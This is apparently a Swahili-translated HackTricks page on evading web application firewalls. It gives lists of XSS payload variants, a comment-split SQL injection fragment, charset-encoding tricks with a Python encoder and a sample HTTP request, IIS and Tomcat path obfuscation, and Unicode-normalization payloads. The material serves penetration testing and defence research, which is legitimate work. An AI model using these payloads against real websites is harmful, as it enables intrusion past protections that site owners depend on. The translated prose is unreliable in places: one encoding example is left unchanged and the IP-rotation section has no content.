WAF Bypass

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Kupitisha Regex

Teknolojia tofauti zinaweza kutumika kupitisha vichujio vya regex kwenye firewalls. Mifano ni pamoja na kubadilisha herufi kati ya kubwa na ndogo, kuongeza mafungu ya mistari, na kuweka mizigo kwenye nambari. Vyanzo vya mbinu mbalimbali za kupitisha zinaweza kupatikana kwenye PayloadsAllTheThings na OWASP. Mifano ifuatayo imetolewa kutoka makala hii.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Ufumbuzi wa Charset Encoding

Wakati mwingine, unapopata kizuizi cha WAF, unaweza kujaribu kubadilisha charset encoding ya maombi yako ili kuepuka kugunduliwa na WAF. Hii inaweza kufanywa kwa kubadilisha charset encoding kutoka UTF-8 kwenda kwa charset encoding nyingine kama vile ISO-8859-1.

Kwa mfano, unaweza kubadilisha maandishi yaliyotumwa kwenye maombi kutoka "admin" kwenda "admin". Hii inabadilisha herufi "i" kuwa kichwa cha kubadilisha charset encoding. WAF inaweza kushindwa kugundua nia yako ya awali na hivyo kuwezesha kizuizi cha WAF.

Ni muhimu kutambua kuwa hii ni mbinu ya kujaribu na inaweza kufanya kazi kwa baadhi ya WAF lakini sio zote. Ni muhimu kufanya majaribio na kuchunguza matokeo ili kubaini ikiwa mbinu hii inafanya kazi kwa kesi yako maalum.

# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037

##Python code
import urllib
s = 'payload'
print(urllib.parse.quote_plus(s.encode("IBM037")))

## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61

%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n

Kuficha

Obfuscation ni mbinu ya kuficha au kufanya kuwa ngumu kueleweka kwa namna ya msimbo au data. Katika muktadha wa kuvunja usalama wa wavuti, obfuscation inaweza kutumika kwa lengo la kudanganya na kuepuka kugunduliwa na WAF (Web Application Firewall) au zana zingine za usalama.

Kuna njia kadhaa za kuficha msimbo au data, ikiwa ni pamoja na:

  • Mabadiliko ya jina: Kwa kubadilisha majina ya faili, folda, au vigezo vya URL, inakuwa ngumu kwa WAF kugundua na kuzuia shughuli zisizo halali.

  • Ufichaji wa Msimbo: Kwa kuficha msimbo wa asili kwa kutumia mbinu kama vile kuchanganya, kubadilisha muundo, au kuongeza msimbo usio na maana, inakuwa ngumu kwa WAF kuelewa na kuzuia shughuli zisizo halali.

  • Ufichaji wa Data: Kwa kuficha data inayotumwa kati ya seva na mteja kwa kutumia mbinu kama vile kuchanganya, kubadilisha muundo, au kujificha ndani ya data nyingine, inakuwa ngumu kwa WAF kugundua na kuzuia shughuli zisizo halali.

Kwa kufanya obfuscation kwa njia sahihi, inawezekana kuepuka kugunduliwa na WAF na kufanikisha kuvunja usalama wa wavuti.

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Ulinganifu wa Unicode

Kulingana na utekelezaji wa ulinganifu wa Unicode (taarifa zaidi hapa), herufi ambazo zina ulinganifu wa Unicode zinaweza kufanikiwa kuvuka WAF na kutekeleza kama mzigo uliokusudiwa. Herufi zenye ulinganifu zinaweza kupatikana hapa

Mfano

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

Kuzidi Kikomo cha Ukubwa

Ni kawaida katika WAF za msingi wa wingu kwamba ikiwa mzigo ni mkubwa kuliko ukubwa wa X, ombi halitachunguzwa na WAF. Unaweza tu kutumia hilo kuvuka ulinzi wao.

Kubadilisha IP

Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated